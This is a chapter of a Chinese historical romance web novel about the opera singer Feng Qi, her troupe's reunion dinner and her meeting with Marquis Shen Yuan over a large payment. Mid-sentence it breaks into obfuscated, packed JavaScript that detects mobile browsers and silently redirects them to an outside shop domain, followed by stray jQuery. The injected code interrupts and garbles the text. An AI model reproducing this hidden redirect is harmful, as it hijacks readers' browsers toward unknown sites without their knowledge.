刘泉听闻此事,全然不以为意,抬手爽朗一笑:“这点事儿不足挂齿。只要咱们凤鸣班上下皆能平安无事,便是我最大的心安。”
一番朴实通透的话语,瞬间驱散满堂沉郁。
何慎抚掌大笑:“说得好!只要凤鸣班不散、众人皆在,便不愁前路无生计!”
他转头看向身侧的凤七,认真叮嘱:“小七,明日你入衙复审,让何生陪你同去,稳妥周全。另外正好借机问问衙门差役,京中何处可雇得身手高强的护院打手。”
“经此一事,当吃一堑长一智。”
凤七爽快答应:“好,明日就劳烦师兄陪我跑一趟。”
“刘伯伯说的没错。只要人活着,那就不愁活不下去。”她捧起一碗茶递给廖维音,“今晚咱们好好做一桌饭菜,人除了生死,其余都是小事。”
一时间楼中众人各司其职,热火朝天地备办晚食。刘泉与凤七亲自掌勺,炉火噼啪,烟火袅袅。
刘泉一边翻炒菜肴,一边由衷赞叹:“凤姑娘这胸襟,绝非寻常女子可比。换作旁人历经这两次风波,早已心神俱疲、一蹶不振,我还担心你呢。没想到偏你沉得住气、扛得住事。”
凤七听得夸赞,眉眼弯起几分鲜活笑意:“刘伯伯再这般夸我,我可要飘天上去了。”
在她的生活里,除去授艺的师父、护她的师兄,眼前仗义热忱的刘泉,便是待她最真心的第三人。
话音未落,楼下小二匆匆入内禀报:“凤姑娘,外头有位名唤陈顺的小哥求见。”
凤七腰间系着布围裙,手中尚握着铁铲,闻言快步走出灶房。甫一出门,便见陈顺携姐姐陈宁双双跪地,对着她重重叩首。
她连忙上前搀扶:“二位快快请起,万万不可如此。我年岁小,受不起这般大礼,折煞我了。”
将姐弟二人扶起后,她眉眼温婉浅笑:“先前陈姐姐护我,你又冒死搬来救兵,你我之间,早已两清,不用多礼。”
紧随而出的刘泉见状,朗声开口挽留:“眼下宵禁将至,二位今夜便在楼中歇下。你们曾护过凤姑娘,这份恩情,咱们凤鸣楼始终记在心上。”
陈顺面露窘迫,踌躇片刻,终究鼓起勇气开口:“凤姑娘……,我有一事恳请相助。”
“你说。”凤七颔首道。
“不知凤鸣楼现下可招伙计?”陈顺语气恳切,“我自幼做工,粗活细活都能干,力气大的很。家姐绣工好,也会煮饭,不用太多工钱的。”
凤鸣楼一应庶务皆由刘泉打理,他闻言当即应允:“自然可以。我楼中本就只有两名跑腿伙计,日日劳碌奔波,你若肯来,倒是帮了我大忙。”
一旁的廖维音轻声补充,神色温和:“陈娘子便留在戏房吧。楼中戏服行头繁多,常年需要缝补修缮、打理养护,这份差事安稳清净,无需抛头露面。”
陈宁闻言,眼底瞬间蓄满热泪,鼻尖酸涩难抑。她命途坎坷,乡邻多有非议,自丈夫去世后,村中便对她恶意更大,有的说都是因为她长得好看惹来的祸端,害死自家男人。
她不想只困于乡野,再次嫁人。凤鸣楼众人知晓她的过往,无人有半分鄙夷嫌弃,反倒予她一份安稳营生、一处容身之地。这份知遇之恩,让她满心感激,无以言表。
陈顺是个机灵的,当即伸手接过凤七手中的锅铲,主动接过厨中活计:“姑娘歇着,下厨之事交给我便是,家中炊煮向来是我打理,诸位且尝尝我的手艺。”
陈宁亦连忙上前,洗手帮衬、收拾杂物。
沉闷一日的凤鸣楼,终于重归热闹烟火气。众人默契抛开白日风波,沉下心来享受此刻安稳团圆。
席间,陈宁执盏起身,以茶代酒,姿态恭谨温婉:“诸位前辈、诸位同仁,奴家陈宁,年三十八。今日携弟初来乍到,往后便在此讨生活,还望诸位多多照拂包涵。”
陈顺连忙躬身附和,礼数周全。
刘泉举杯抬手,眼底带着世事沧桑的温和,缓缓开口:“既入凤鸣楼,往后便是一家人。我年过半百,妻女早逝,孑然一身漂泊至今。今日在此萍水相逢,得以相知,这就是天赐缘分。”
他仰头饮尽杯中酒,语声诚恳:“这人活一世,所求不过三样:有情有义的知己、一段良缘、安稳顺遂的余生。今日借此薄酒,愿咱们凤鸣楼蒸蒸日上,愿在座诸位岁岁安康、岁岁顺遂。”
言罢,他转头看向身侧静默的廖维音,笑着示意:“廖班主,也说两句吧。”
廖维音抬眸望向满堂众人,缓缓起身,语声清和:“今日,我与副班主何慎,敬各位一杯。”
何慎无语,这老家伙,逢事总爱拉上他一同撑场。他笑着端起酒杯,性情坦荡豪迈,直言道:“陈娘子姐弟既来,那便是自家人,我等由衷欢迎。只是丑话说在前头,往日楼中曾生龌龊算计之事,廖班主心软宽厚,我这副班主可是容不得是非的。”
廖维音闻言抬肘撞了他一下,压低声音无奈嗔道:“你不会讲话就闭嘴。”
“你不懂。”何慎说。
陈宁微微欠身:“班主、副班主放心,我姐弟二人定当安分守己,恪尽职守,绝不惹是生非。”
刘泉向来会察言观色,他见场面有些冷,起身打岔道:“快坐下吃菜,往后咱们就是一家人。”
他夹起一块儿鱼肉放嘴里:“这陈顺小兄弟手艺不错,大家快尝尝。”
大家伙儿也跟着刘泉一起吃了起来。
有人夸赞陈顺手艺好,有人说着自己的趣事儿,席见热闹起来,欢声笑语。
何生知道凤七最爱吃肉,他挑选出一块儿精肉,放入凤七碗中,看着她与陈娘子聊的欢快,自己也跟着笑了起来。
凤鸣楼内灯火摇曳,带着烟火暖意,漫过了一夜安宁。
翌日天刚亮。
何生早早就套好马车在门外等候,他怀中揣着两枚水煮蛋,待凤七出门,便伸手递去:“你先垫垫肚子。”
凤鸣楼待人宽厚,规矩分明。楼中戏子登台所得赏银,向来分为三份:一份按劳分予登台唱戏的人,一份捐往慈幼局接济孤童,余下的全部用于楼中膳食开销、改善众人伙食。
昔日戏班困顿清贫,众人食不饱腹、气力不济,屡屡影响登台献艺。如今条件变好,楼中便立下硬性规矩:每名伙计每日必得一枚水煮蛋,三餐之中必有一餐带荤。
马车迎着晨光辘辘而行。何生驾车,载着凤七一路奔赴大理寺。
路上行人渐多,叫嚷声也越来越多。凤七探头看向车外:“师兄,一会儿回去我们买几个包子吃吧。”
她最爱吃城南那家苏记包子铺,皮软馅大,鲜嫩多汁,咬上一口香味充满口腔,光这样想着,凤七就开始默默咽口水。
何声哈哈笑道:“一会儿去吃,现在天冷了,再给你买一些炒栗子。”
炒栗子也是凤七最爱吃的,要不是唱戏要保持身段,她定是要买一筐回去吃个够。
约莫一柱香的时间,马车稳稳停于衙门前,尚未落稳,齐风便快步上前迎候。
“凤姑娘,侯爷已在堂内等候多时。”
凤七下车看向师兄,轻声道:“师兄,你在此处等我。”
何生点头,未有多言,抬手解下身上御寒的披风,披在凤七肩头,语气温柔妥帖:“去吧,当心些。”
这一幕轻柔妥帖的关怀,落入齐风眼中,齐风内心羡慕:真是郎才女貌的一对儿佳人啊。
凤七整理好披风,随齐风拾阶而入。一路行至沈渊休憩的侧堂,齐风立于门外躬身禀报:“侯爷,凤七姑娘到了。”
堂内传来低沉清润的男声:“进来。”
齐风推开门,退至门外值守,凤七缓步入内。
堂中熏香袅袅,凤七动动小鼻子嗅了嗅,闻出了是师父做的。
屋内沈渊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865508|212178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
坐在桌前,抬手淡淡示意:“坐。”
凤七秉承着尊卑有别并未坐下,她恭谨立在一侧,双手呈上昨夜整理好的物件清单:“侯爷,这是凤鸣楼受损器物的明细账目。”
沈渊伸手接过纸页,细细翻阅。须臾片刻,他反问:“仅此而已?”
凤七心头倏然一紧,心弦绷紧。她抿嘴,心底暗自思忖:难道侯爷看账目作假了?还是另有深意?一时间捉摸不透他的心思,只能恭谨应答:“回侯爷,奴婢查验过,并无遗漏。”
凤七紧张极了,她脚趾头都用力蜷在一起:不会看出来了吧?我要怎么说?写错了?数错了?
凤七心中正想着应对之策,只见沈渊取过案上纸笔开始写了起来。她好奇,悄悄探头,奈何距离太远,字迹模糊,半点也看不清他所写何物。
一盏茶的功夫过后,沈渊搁笔起身,将写好的纸页递至她眼前。
凤七疑惑接过,目光落于纸页之上,眼睛瞬间睁大,惊得下意识脱口而出:“十万两?!”
她当场怔立原地,浑身僵滞,脑海一片空白。
十万两白银,她做发财梦都不敢做这么大数额的钱。她结巴道:“侯爷……不行啊。凤鸣楼不过损毁些许桌椅陈设、寻常器物,区区损耗,断不值十万两之数。”
这笔巨款太过扎眼,来路若是稍有风声泄露,她一个弱女子,怕是有十颗脑袋,也不够抵偿其中风险。她额头开始冒出冷汗,这钱莫不是买自己的命吧。
想完当即下跪求饶:“侯爷,奴婢不该……”
“不该什么?”沈渊缓步上前,身形挺拔,居高临下的看着她。他抬手,从袖中取出一方素色帕子,递到她的面前。
凤七抬眼一望,又是一惊。
“不该……侯爷,奴婢知错,都是奴婢一人的错。“
她心里一横:不管什么,就认错,揽到自己身上。看他接什么话,我到时候再认。
她盯着那方帕子,这帕子,正是她那日爬狗洞去侯府遗失的那一方!
自进入这侧堂以来,她心惊数度,层层诧异,心绪跌宕难平。
她心虚,不敢与沈渊对视,低头慌乱伸手接过帕子,顺势抬手拭去额间薄汗,掩去眼底慌乱。
这帕子可是贴身之物,若侯爷拿出去让人瞧见,岂不是给自己招来祸端?她内心呐喊:凤七啊凤七,长点脑子吧。
沈渊望着她强作镇定的模样,唇角微微上扬:“这笔银两,你今日尽管带回。”
侯爷啊,我的侯爷啊,你让我一个女子。带着十万两银子回凤鸣楼?是您疯癫了,还是我活腻了?这钱来路不明,万一是赃款,那我得三次进大理寺了。
他重回案前落座,目光坦然,出声安抚:“银两来路干净,无半分隐患,凤鸣楼尽可安心取用。”
“侯爷,此数实在太过厚重,需与师父商议,奴婢不敢独自做主。”凤七连连推辞,惶恐不已。
沈渊不再与她争辩此事,目光落于她手中紧握的帕子之上,淡淡开口转了话题:“你这帕上,绣的是何物?”
凤七有些不好意思:“是……大雁。奴婢绣工不……太好。”
这哪里是不太好,这分明是一窍不通。沈渊将
这帕子上的四不像琢磨好几日,想着是虫、或是石子、或是草木,百般猜测,唯独未曾想过,竟是大雁。
“你偏爱大雁?”他语声平静,听不出情绪,指尖摩挲着腰间玉佩。
“是。”凤七认真点头,眼底带着真切的偏爱,“大雁为五常灵禽,忠贞守信、死生相伴。奴婢敬佩大雁一生一双、不离不弃的品性。”
沈渊眸光幽深暗藏试探:“你既偏爱忠贞相守,可是心中有了心仪之人?若有中意儿郎,本侯可为你周全助力,促成良缘。”
他说罢,指尖摩挲的速度悄然加快,周身气息看似平和,实则隐隐紧绷,静待她的应答。